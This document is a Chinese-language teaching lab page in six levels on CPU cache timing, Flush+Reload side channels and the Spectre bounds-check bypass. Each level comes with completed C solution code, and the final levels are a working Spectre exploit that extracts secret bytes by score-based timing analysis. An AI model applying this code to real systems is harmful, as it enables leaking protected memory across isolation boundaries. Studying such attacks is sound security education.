第1关:Cache vs Memory

  • 任务要求
  • 参考答案
  • 评论
  • 关卡排行榜
  • 实验目的
  • 任务描述
  • 相关知识
    • CPU高速缓存
    • 缓存命中
    • 缓存驱逐
    • 代码执行时间精确测量
    • 缓存行Cache Line
  • 编程要求
  • 测试说明
  • 提示

实验目的

  1. 使学员了解CPU在执行数据访问时,高速缓存(Cache)的作用与特点;
  2. 掌握代码执行时间的高精度测量函数__rdtscp()的使用方法;
  3. 通过实验获取测试环境中CPU访问数据并发生缓存命中时,访问时延的门限值,并记录该值以在后续关卡使用。

任务描述

完善任务代码,测量并记录CPU访问数据时,发生缓存命中与缓存不命中时的数据访问时间,并通过重复测量确保结果准确。

相关知识

为了完成本关及后续关卡的任务,需要掌握以下相关知识。

CPU高速缓存

CPU高速缓存机制的引入,主要是为了解决CPU越来越快的运行速度与相对较慢的主存访问速度的矛盾。经典的CPU的存储器结构为金字塔型,如下图所示: 通常,CPU访问寄存器中的数据,只需要一个时钟周期;访问高速缓存中的数据,大概需要几十个时钟周期;如果访问的数据在主存中,需要大概上百个周期;而访问磁盘中的数据则需要大约几千万个周期。

备注:在本任务中,我们对三级缓存不做区分,统称为Cache或高速缓存。

缓存命中

当CPU需要访问数据时,会从存储器金字塔的塔尖处开始检查数据,首先在高速缓存中检查数据是否存在,如果发现目标数据已经加载到高速缓存中,则直接从高速缓存中读数据写入寄存器中。该过程称为“缓存命中(Cache Hit)”,且通常占用较少的时钟周期。反之,如果数据不在高速缓存中,则CPU从内存中加载数据到高速缓存,再从高速缓存将数据加载到寄存器,参与后续运算,该过程称为“缓存不命中(Cache Miss)”,通常占用较多的时钟周期。

缓存驱逐

由于CPU高速缓存大小有限,当缓存已满,而又需要从内存中加载新的数据时,CPU会按照一定的策略将某些缓存行(Cache Line)从高速缓存中移除,该过程称为缓存驱逐(FLUSH)。在本实验中,为了达到测量时间差的目的,需要人工调用函数_mm_clflush()强制驱逐缓存,代码如下:


  1. // 将函数参数所指向的内存地址中的数据从缓存中驱逐(以Cache Line为单位)
  2. _mm_clflush(&array[i*4096]);

代码执行时间精确测量

rdtsc/rdtscp 是 x86 CPU 的指令,含义是 read TSC(Time Stamp Counter) 寄存器,而TSC 寄存器在每个 CPU 时钟信号到来时加 1。由于TSC寄存器中的数值递增速度和 CPU 的主频相关,且服务器的CPU主频一般很高(通常再GHz以上),所以利用该指令,我们可以获得纳秒级别的时间精度。

考虑到CPU在执行指令时存在乱序执行的情况,为了保证测量精读,我们选用rdtscp指令(而非tdtsc指令),进行时间测量。


  1. // Generates the rdtscp instruction, writes TSC_AUX[31:0] to memory, and returns the 64-bit Time Stamp Counter (TSC) result.
  2. // Parameters
  3. AUX: [out] Pointer to a location that will contain the contents of the machine-specific register TSC_AUX[31:0].
  4. // Return value
  5. // A 64-bit unsigned integer tick count.
  6. unsigned __int64 __rdtscp(
  7. unsigned int * AUX
  8. );

缓存行Cache Line

高速缓执行数据的存储时候,以行为单位进行对齐,即每次缓存加载或缓存驱逐时,均加载或驱逐整数倍的Cache Line大小数据(与CPU架构相关,通常为64字节)。 因此,本任务所有关卡中,为了避免相邻地址的数据加载时发生干扰,我们选择远大于Cache Line的偏移量4096将测量对象对齐。


  1. // 内存中布局测试对象时,以4096为单位进行对齐
  2. uint8_t array[10*4096];
  3. // 缓存驱逐
  4. for(i=0; i<10; i++)
  5. _mm_clflush(&array[i*4096]);

编程要求

根据提示,在右侧编辑器完善代码,完成数据初始化、缓存驱逐、缓存加载、时延测定等全部环节,输出对array[10*4096]数组中各元素的访问时延。

测试说明

平台会对你编写的代码进行测试:

自测预期输出:


  1. Round A ---------------------------
  2. 访问array[0*4096]消耗: XX CPU周期
  3. 访问array[1*4096]消耗: XX CPU周期
  4. ……
  5. 访问array[8*4096]消耗: XXX CPU周期
  6. 访问array[9*4096]消耗: XXX CPU周期

提示

代码完成后,可以点击“自测运行按钮”,查看程序运行结果。 点击“测评”即可自动判定是否通关。 请记录下缓存命中时的时延大小,后续关卡将使用该值作为判定门限。

开始你的任务吧,祝你成功!

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>uint8_t array[10*4096];
FILE *fp;
int cache_timer()
{int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;unsigned int ui;int i;// 初始化该数组for(i=0; i<10; i++) array[i*4096]=1;// 补全下方代码,完成array[0*4096]至array[9*4096]数据的缓存驱逐/**************************************************/for(i=0; i<10; i++) _mm_clflush(&array[i*4096] );/**************************************************/// 访问数组部分元素,使其存储到Cache(学生选取部分元素进行访问,注意不要访问第一个元素,没有意义)array[3*4096] = 100;array[7*4096] = 200;
/*******请勿修改下方代码,否则可能导致测评无法通过******/for(i=0; i<10; i++) {addr = &array[i*4096];time1 = __rdtscp(&ui);   junk = *addr;time2 = __rdtscp(&ui) - time1;  printf("访问array[%d*4096]消耗: %d CPU周期\n",i, (int)time2);fprintf(fp,"%d,",(int)time2);}
/**************************************************/return 0;
}int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T1/result.txt","w");fprintf(fp,"数组各元素访问时延(重复10次)测量结果:\n");int round=0;for(round=0;round<10;round++){printf("Round %d ---------------------------\n",round);cache_timer();printf("------------------------------------\n");}fclose(fp);return 0;
}

第2关:基于Flush+Reload的侧信道实现

  • 任务要求
  • 参考答案
  • 评论
  • 关卡排行榜
  • 实验目的
  • 任务描述
  • 相关知识
    • FLUSH+RELOAD技术
    • 实验设定
  • 编程要求
  • 测试说明

实验目的

通过实验,帮助学员掌握利用高速缓存FLUSH+RELOAD技术实施侧信道攻击的基本过程。

任务描述

在上一关的基础上,完善任务代码,首先设定将某次数据访问判定为“缓存命中”的门限值,进一步对某内存数据(Secret值)实施侧信道攻击,实现在不直接访问数据的条件下,借助访问时延判定该数据的具体内容。

相关知识

FLUSH+RELOAD技术

Flush+Reload(FR)方法是prime-probe方法的变种,基于共享内存实现,是一种跨内核、跨虚拟机的Cache探测方法。

在Flush 阶段,攻击者将监控的内存块从cache中驱逐出去,然后在Trigger阶段等待目标代码/进程/用户/虚拟机访问共享内存(即将相应数据加载到共享内存中)。在Reload阶段,攻击者重新加载监控的共享内存块。

如果在等待的期间,目标代码/进程/用户/虚拟机已经访问过某些内存块,则Reload期间会触发缓存命中,时间较短,否则时间较长。根据reload阶段内存数据访问的时间长短,可获取目标内存块中的共享信息。

实验设定

具体在本实验中,假设待获取的目标内存数据为“secret=66”,首先调用flushSideChannel()函数,将所有数据从缓存中驱逐(_mm_clflush()),通过执行victim()函数用来假设执行目标对敏感数据的访问,最后在reloadSideChannel()函数中完成访问时延的测量与敏感信息的获取。

编程要求

根据提示,在右侧编辑器补充代码,完成基于Flush+Reload的侧信道攻击实现,按要求打印攻击结果。

测试说明

平台会对你编写的代码进行测试。 部分代码参考关卡1。


开始你的任务吧,祝你成功!

//该实验中,假设用户没有Secret的访问权限,不能直接读取Secret的值,可以通过测时延来获取其内容。#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>FILE *fp;
uint8_t array[256*4096];
int temp;
unsigned char secret = 66;/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据上一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (50)#define DELTA 1024void victim()
{temp = array[secret*4096 + DELTA];
}void flushSideChannel()
{int i;// 初始化该数组,防止Copy-on-Write导致实验失败for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驱逐缓存Cache,请在下方补充代码,将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐/**************************************/for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096+DELTA]);/**************************************/
}void reloadSideChannel()
{int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;unsigned int ui;//请补全并下方代码,获得i*4096 + DELTA位置元素的访问时延,并将小于门限的访问行为判定为缓存命中,按照指定格式输出结果。for(i = 0; i < 256; i++){   addr = &array[i*4096+DELTA];time1 = __rdtscp(&ui);   junk = *addr;time2 = __rdtscp(&ui) - time1;  if (time2  <= CACHE_HIT_THRESHOLD){printf("访问array[%d*4096 + %d]元素时发生缓存命中,时延%d.\n", i, DELTA, (int)time2);printf("秘密值Secret = %d(字符:\'%c\')。\n", i, i);fprintf(fp,"秘密值Secret = %d(字符:\'%c\')。\n" ,i, i); //不要修改本行代码}} }int main(int argc, const char **argv)
{fp=fopen("Spectre-Attack/ans/T2/result.txt","w");flushSideChannel();victim();reloadSideChannel();fclose(fp);return (0);
}

第3关:Spectre预测执行

  • 任务要求
  • 参考答案
  • 评论
  • 关卡排行榜
  • 实验目的
  • 任务描述
  • 相关知识
    • Spectre漏洞
    • 预测执行
    • 预测执行的前提
  • 编程要求
  • 测试说明

实验目的

通过实验,使学生建立对Spectre这一CPU层面的漏洞的直观认识,理解并掌握如何利用预测执行对目标数据执行非法访问,为后续关卡任务做准备。

任务描述

在前面关卡的基础上,完善和补全代码,测试Spectre幽灵漏洞能够实现的攻击效果,即能够访问到代码约束范围以外的数据。

相关知识

Spectre漏洞

Spectre漏洞是一个存在于处理器中的,由于预测执行优化涉及而引入的一种设计缺陷和安全漏洞。基本所有含有预测执行的现代处理器均受此漏洞的影响。

针对该漏洞的利用通常采用基于时间的侧信道攻击,允许恶意进程获得合法内存以外(如其他程序的内存、甚至其他容器的内存)的数据。

预测执行

在计算机的组成结构中,内存读取的速度相比于CPU来看是很慢的,当CPU在运行过程中需要读取内存的时候,为了提高执行效率,CPU会“抢跑”。如下图所示: 当CPU需要从内存中取数据MEM时,同时执行MEM读取指令以及instructionA,即对分支进行了“预测执行”。当MEM数据读取返回并判断后,如果发现预测错误,则中断预测执行,并回滚计算状态(即寄存器等);否则继续执行后续指令。 然而,CPU在执行预测执行的回滚操作时,仅回滚了寄存器而高速缓存并没有被清空,从而为恶意代码可能访问到边界外的数据提供了可能。

预测执行的前提

CPU在进行预测执行操作时,会根据此前判断条件的结果进行分支预测。因此,实施Spectre攻击的重要环节是需要对CPU的分支判断进行“训练”,即本任务中需要使用合法参数多次调用victim()函数,使CPU“记住”判断状态。

编程要求

根据提示,在右侧编辑器补充代码,完成对CPU分支预测的训练、边界外数据(即索引大于size的数组元素)向高速缓存的加载,并利用FLUSH+RELOAD侧信道来验证目标数据是否已加载。

考虑到利用Sepctre漏洞时,因为系统噪声(即其他系统进程对CPU的占用、对缓存的占用等)的影响,某些时候分支的预测不会按照我们的期望执行,因此,本任务中将重复10次实验,查看缓存命中结果。

测试说明

平台会对你编写的代码进行测试。

预期输出:


  1. 第1次实验----
  2. 第2次实验----
  3. 访问array[97*4096 + 1024]元素时命中缓存,时延XX.
  4. 第3次实验----
  5. 第4次实验----
  6. 访问array[97*4096 + 1024]元素时命中缓存,时延XX.
  7. 第5次实验----
  8. ……
  9. 第10次实验----

开始你的任务吧,祝你成功!

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (50)#define DELTA 1024
FILE *fp;int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;void flushSideChannel()
{int i;// 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响for (i = 0; i < 256; i++) {array[i*4096 + DELTA] = 1;}// 驱逐缓存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}void reloadSideChannel()
{int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("访问array[%d*4096 + %d]元素时命中缓存,时延%d.\n", i, DELTA,(int)time2);fprintf(fp,"访问array[%d*4096 + %d]元素时命中缓存,时延%d.\n", i, DELTA,(int)time2);}}
}void victim(size_t x)
{if (x < size) {  temp = array[x * 4096 + DELTA];  }
}int main() {fp=fopen("Spectre-Attack/ans/T3/result.txt","w");int i;// 初始化侧信道攻击条件flushSideChannel();//使用while循环,重复10次执行实验int loop = 10;while(--loop >= 0){printf("第%d次实验----\n", 10-loop);fprintf(fp,"第%d次实验----\n", 10-loop);// 训练CPU,使其预测时进入期望分支for (i = 0; i < 10; i++) {   victim(i);}// 请补全下方代码并取消注释,①将victim()函数中分支判断需要的数据'size'从缓存中驱逐,以在后续调用中触发预测执行;②将array数组中i*4096+DELTA处的数据从缓存中驱逐,以便后续reload阶段判断目标数据是否被加载。_mm_clflush(&size);for (i = 0; i < 256; i++)_mm_clflush(&array[i*4096+DELTA]); //尝试访问边界外的数据victim(97);  // reload数据,开展侧信道攻击,查看是否已经将数据装入缓存reloadSideChannel();usleep(100);}fclose(fp);return (0);
}

第4关:Spectre攻击简单实验(代码补全后,多次执行"自测运行",查看运行结果,看看有什么发现。)

  • 任务要求
  • 参考答案
  • 评论
  • 关卡排行榜
  • 实验目的
  • 任务描述
  • 相关知识
    • 沙箱SandBox
    • 代码中的关键数据解释
  • 编程要求
  • 建议
  • 测试说明

实验目的

通过实验,使学生掌握利用高速缓存侧信道和CPU的Spectre漏洞,突破代码的边界检查,实现对目标内存中的数据有效访问。

任务描述

在前期关卡知识点已掌握的基础上,完善和补全代码,依赖合法内存访问函数uint8_t restrictedAccess(size_t x),通过利用CPU的预测执行机制和高速缓存侧信道,实现对约束范围外的数据secret="Some Secret Value"访问和提取,并打印提取结果。

相关知识

沙箱SandBox

沙箱技术是应用开发中常用的一种安全技术,用于隔离对象/线程/进程等对资源的访问。 例如操作系统层面的沙箱的含义就是操作系统对进程的可访问的内存地址所做的限制,限制进程可访问的内存在其被分配的内存地址区间内,而不允许操作其他的内存地址,从而提供安全层面的防护。 而在浏览器环境下,沙箱的本质原理相同,只是隔离的对象为不同的页面、脚本等所使用的内存,防止其访问到其他非同源的页面数据或通信数据。

在本实验中,我们使用uint8_t restrictedAccess(size_t x)函数来实现一个极简沙箱,限制进程能够访问的内存地址为buffer[0]-buffer[9]

代码中的关键数据解释

  1. buffer[10]为进程允许访问的合法内存;
  2. secret="Some Secret Value"为合法内存边界之外的敏感信息,攻击者利用沙箱函数无法直接访问;
  3. array[256*4096]为字典数组,根据restrictedAccess函数返回值(1个字节,假设为i),将对应i*4096+DELTA索引处的数据加载到缓存中,用于后续进行侧信道攻击从而提取敏感信息;
  4. size_t index_beyond = (size_t)(secret - (char*)buffer); 代码用于计算敏感信息与合法内存地址间的偏移量,此处为简化设计。在现实中,攻击者可以采用其他手段获得该偏移量(例如猜测、经验等),从而直接实施后续的侧信道攻击。

编程要求

根据提示,在右侧编辑器补充代码,完成CPU分支预测的训练、边界外内存数据的缓存加载,并利用高速缓存侧信道提取目标地址的敏感信息值。

建议

代码补全后,多次执行"自测运行",查看运行结果,看看有什么发现。

测试说明

平台会对你编写的代码进行测试。

测试输入:无 预期输出:


  1. 秘密值内存地址: 0x400988
  2. 合法访问内存地址: 0x601050
  3. 秘密值地址相对与合法访问内存地址偏移量(边界之外): -2098888
  4. 访问array[83*4096 + 1024]元素时命中缓存.
  5. 秘密值 = 83(S).
  6. 访问array[109*4096 + 1024]元素时命中缓存.
  7. 秘密值 = 109(m).
  8. 访问array[32*4096 + 1024]元素时命中缓存.
  9. 秘密值 = 32( ).
  10. 访问array[83*4096 + 1024]元素时命中缓存.
  11. 秘密值 = 83(S).
  12. 访问array[101*4096 + 1024]元素时命中缓存.
  13. 秘密值 = 101(e).
  14. 访问array[99*4096 + 1024]元素时命中缓存.
  15. 秘密值 = 99(c).
  16. 访问array[114*4096 + 1024]元素时命中缓存.
  17. 秘密值 = 114(r).
  18. 访问array[101*4096 + 1024]元素时命中缓存.
  19. 秘密值 = 101(e).

开始你的任务吧,祝你成功!

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
char    *secret    = "Some Secret Value";
uint8_t array[256*4096];/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (50)#define DELTA 1024
FILE *fp;// 沙箱示意,用来约束访问边界
uint8_t restrictedAccess(size_t x)
{if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;}
}void flushSideChannel()
{int i;// 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驱逐缓存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}void reloadSideChannel()
{int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("访问array[%d*4096 + %d]元素时命中缓存.\n", i, DELTA);printf("秘密值 = %c(ASCII码:%d).\n",(i > 31 && i < 127 ? i : '?'), i);fprintf(fp,"%c,",(i > 31 && i < 127 ? i : '?'));}}
}void spectreAttack(size_t index_beyond)
{int i;uint8_t s;volatile int z;// 训练CPU,使其在攻击时进入期望的预测分支.for (i = 0; i < 10; i++) { restrictedAccess(i); }// 补全下方代码,将上界、下界以及array的数据从缓存中驱逐。/***********************************************************/_mm_clflush(&buffer[bound_upper]);_mm_clflush(&buffer[bound_lower]);for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);/***********************************************************/for (z = 0; z < 100; z++)  {   }// 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值s = restrictedAccess(index_beyond);  if(s!=0)array[s*4096 + DELTA] += 1;
}int main() {fp=fopen("Spectre-Attack/ans/T4/result.txt","w");flushSideChannel();size_t index_beyond = (size_t)(secret - (char*)buffer);  printf("秘密值内存地址: %p \n", secret);printf("合法访问内存地址: %p \n", buffer);printf("秘密值地址相对与合法访问内存地址偏移量(边界之外): %ld \n", index_beyond);for(int k=0;k<strlen(secret);k++){spectreAttack(index_beyond+k);reloadSideChannel();usleep(10);}fclose(fp);return (0);
}

第5关:Spectre攻击实验改进

  • 任务要求
  • 参考答案
  • 评论
  • 关卡排行榜
  • 实验目的
  • 任务描述
  • 相关知识
  • 优化方法
  • 编程要求
  • 测试说明

实验目的

掌握在噪声情况下,如何利用侧信道和Spectre漏洞实现高准确率的敏感信息提取。

任务描述

经过上一关的试验结果观察发现,由于CPU执行其他任务、缓存命中时延的门限设置不够准确等噪声影响,常常导致无法准确的将访问到的敏感信息恢复和提取出来。因此,本关中对上一关代码进行优化改进,通过多次重复实验,统计各字符在缓存中的命中次数(即:积分),进一步的根据不同位置的积分值,获得敏感信息的准确值。

相关知识

见前面几关的相关知识一节。

优化方法

在敏感字符的恢复提取环节,除了使用array[256*4096]字典数组之外,还使用一个积分数组static int scores[256]。在攻击过程中,每次利用侧信道探测到某内存的字符X(其十进制表示为k),则将score[k]的值加1。针对每个字符的侧信道攻击结束后,统计整个score[]数组中的积分值,选择积分最高的作为概率最高的敏感字符。

编程要求

根据提示,在右侧编辑器补充代码,完成准确的敏感字符提取(本关仅要求恢复处secret的第一个字符)。

测试说明

平台会对你编写的代码进行测试。

预期输出:


  1. 秘密值 'X' (ASCII: XX),积分值:XXX.

开始你的任务吧,祝你成功!

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp    = 0;
char    *secret = "Some Secret Value";
uint8_t array[256*4096];/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (50)#define DELTA 1024
FILE *fp;// 沙箱访问函数示意
uint8_t restrictedAccess(size_t x)
{if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;}
}void flushSideChannel()
{int i;// 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驱逐缓存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}// 针对每个可能的敏感字符设置积分数组
static int scores[256];
void reloadSideChannelImproved()
{int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;//补全下方代码,当每次字符i被命中一次,对应的积分+1/*************************************/for (i = 0; i < 256; i++) {addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD)scores[i]++;}/*************************************/}void spectreAttack(size_t index_beyond)
{int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }// 训练CPU,使其在攻击时进入期望的预测分支.for (i = 0; i < 10; i++) {restrictedAccess(i);  }// 将上界、下界以及array的数据从缓存中驱逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++)  {  }//// 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值s = restrictedAccess(index_beyond);if(s!=0)array[s*4096 + DELTA] += 1;
}int main() {fp=fopen("Spectre-Attack/ans/T5/result.txt","w");int i;uint8_t s;size_t index_beyond = (size_t)(secret - (char*)buffer);flushSideChannel();for(i=0;i<256; i++) scores[i]=0; //重复执行1000次SpectreAttack和reloadSideChannelImproved函数for (i = 0; i < 1000; i++) {spectreAttack(index_beyond);usleep(10);reloadSideChannelImproved();}int max = 0;// 补全下方代码,从scores数组中找到最大值,并将其索引值赋值给max/*************************************/for (i = 0; i < 256; i++) {if(max<scores[i])max=scores[i];}for (i = 0; i < 256; i++) {if(max==scores[i]){ max=i;break;}}/*************************************/printf("秘密值 \'%c\' (ASCII: %d),积分值:%d.\n", max, max, scores[max]);fprintf(fp,"%c|%d",(max > 31 && max < 127 ? max : '?'), scores[max]);fclose(fp);return (0);
}

第6关:Spectre攻击窃取敏感信息实战

  • 任务要求
  • 参考答案
  • 评论
  • 关卡排行榜
  • 实验目的
  • 任务描述
  • 相关知识
  • 编程要求
  • 测试说明

实验目的

基于前面关卡所掌握的知识和技术,进行内存中敏感信息的窃取实战,加深对Spectre幽灵攻击全流程的认识,同时强化实践动手能力。

任务描述

本关任务中,基本设计与前一关卡类似,区别在于使用了静态链接库,将敏感信息编译在了该库中,该库中所包含的部分变量如下图所示: 同时,该库提供了如下函数,供学员代码调用。


  1. size_t get_addr_offset(); // 获取secret敏感信息在内存中的位置相比合法访问的内存buffer[10]的偏移量
  2. int get_secret_len(); // 获取secret敏感信息的长度
  3. uint8_t get_info_sand_box(size_t); // 沙箱示意函数

get_info_sand_box沙箱示意函数与前关卡uint8_t restrictedAccess(size_t x)函数相同,其代码如下图:

利用前面关卡所掌握的知识,完善和补全右侧代码,利用高速缓存侧信道和Spectre预测执行漏洞,实现对敏感信息secret的准确恢复。

相关知识

见前面1-4关的相关知识一节。

编程要求

根据提示,在右侧编辑器补充代码,完善各函数代码,最终输出指定格式的敏感信息窃取结果。

测试说明

运行自测,查看代码运行结果,并最终将窃取到的敏感信息完整内容写入/home/目录下的result.txt文件。可以使用fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'))函数输出到该文件,也可以使用vim工具将内容写入文件。

平台会对你编写的代码和信息窃取结果进行测试。

预期输出:


  1. 第0个秘密字符的最优值 'X' (ASCII: XX) 积分:[147] 次优值 '?' (ASCII: 0) 积分:[13]
  2. 第1个秘密字符的最优值 'Y' (ASCII: YY) 积分:[133] 次优值 '?' (ASCII: 0) 积分:[5]
  3. 第2个秘密字符的最优值 'Z' (ASCII: ZZ) 积分:[130] 次优值 '?' (ASCII: 3) 积分:[9]
  4. ……

开始你的任务吧,祝你成功!

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include "encipher.h"extern unsigned int bound_lower;
extern unsigned int bound_upper;uint8_t temp    = 0;uint8_t array[256*4096];/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)#define DELTA 2048
static int scores[256];
FILE *fp;void flushSideChannel()
{//补全下方代码,初始化array数组,并将所有相关数据从缓存中驱逐/*************************************/int i;for(i=0;i<256;i++){array[i*4096+DELTA]=1;}for(i=0;i<256;i++){_mm_clflush(&array[i*4096+DELTA]);}/*************************************/
}void reloadSideChannelImproved()
{//补全下方代码,完成高速缓存侧信道的Reload步骤,根据缓存命中情况,更新score数组/*************************************/int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;for (i = 0; i < 256; i++) {addr = &array[i * 4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){scores[i]++; }} /*************************************/
}void spectreAttack(size_t index_beyond)
{//补全下方代码,针对指定的内存位置,开展Spectre攻击,包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节/*************************************/int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }// 训练CPU,使其在攻击时进入期望的预测分支.for (i = 0; i < 10; i++) {get_info_sand_box(i);}// 将上界、下界以及array的数据从缓存中驱逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++){ _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++)  {  }// 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值s = get_info_sand_box(index_beyond);if(s!=0)array[s*4096 + DELTA] += 88;/*************************************/
}int main() {//补全下方代码,针对敏感信息secret的每个字节,逐个进行提取,每个字节的提取操作执行1000次,并按照指定格式输出提取结果及其积分值(可以包括最优值与次优值,即score最大的值和第二大的值的索引)。//打印示例:printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);/*************************************/int i;uint8_t s;fp=fopen("/home/result.txt","w");size_t index_beyond = get_addr_offset();flushSideChannel();for(int k=0;k<get_secret_len();k++){for(i=0;i<256; i++){scores[i]=0; }for (i = 0; i < 1000; i++) {spectreAttack(index_beyond+k);usleep(10);reloadSideChannelImproved();}int max = 0; int mx= 0; for (i = 0; i < 256; i++){// printf("%d ", scores[i]);if(scores[max] < scores[i]) {max = i;}}for (i = 0; i < 256; i++){if(scores[mx] < scores[i] && i!=max) {mx = i;}}printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分:[%d] 次优值 '%c' (ASCII: %d) 积分:[%d]\n", k, (max > 31 && max < 127 ? max : '?'), max, scores[max],(mx > 31 && mx < 127 ? mx : '?'), mx, scores[mx]);fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));}/*************************************/return (0);
}

Spectre侧信道攻击过程验证相关推荐

  1. 头歌-信息安全技术-Spectre侧信道攻击过程验证

    头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...

  2. Spectre侧信道攻击过程验证【头歌教学实践平台】

    第1关:Cache vs Memory // 补全下方代码,完成array[0*4096]至array[9*4096]数据的缓存驱逐 /******************************** ...

  3. Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...

  4. 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造

    [安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...

  5. 简单来看看什么是侧信道攻击

    前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...

  6. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...

  7. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...

  8. 基于Montgomery算法的高速、可配置 RSA密码IP核硬件设计系列(五)——模幂模块(抵抗侧信道攻击)模块的设计实现方案

